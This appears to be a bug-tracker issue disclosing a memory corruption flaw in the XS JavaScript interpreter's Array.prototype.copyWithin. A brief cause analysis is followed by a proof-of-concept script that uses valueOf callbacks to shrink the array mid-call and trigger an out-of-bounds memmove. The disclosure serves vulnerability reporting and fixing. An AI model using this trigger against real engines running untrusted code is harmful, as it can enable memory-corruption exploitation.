Memory Corruption in Array.prototype.copyWithin #123

@natashenka

Description

@natashenka

The following JavaScript causes memory corruption in the XS interpreter. This is because fxArgToIndex is called after the array length is read, even though fxArgToIndex can change the length of an array if a parameter is an object with valueOf defined. This leads to a memmove of out-of-bounds memory. This is a security concern if the engine is allowed to run untrusted scripts.


function f(){
	a.length = 10000;
	a.fill(10);
	return a;
}

var t = [];

function n(){

	for(var i = 0; i < 1000; i++){
	var tt = "0123456789012345678901234567890123456789"
	t.push([tt]);	
	}
	return 999;	

}

function m(){

        a.length = 1;

	
	return 500;
}

class MyArray extends Array {
  static get [Symbol.species]() { return f; }
}

var q = a;
q.length = 1000;
q.fill(0x77777777);


q.copyWithin(0, {valueOf : m}, {valueOf : n});

print("hello");
for(var i = 0; i < 20; i++){
	print(i);
	try{
	print(t[i]);
	}catch(e){}
}

print(q.length);
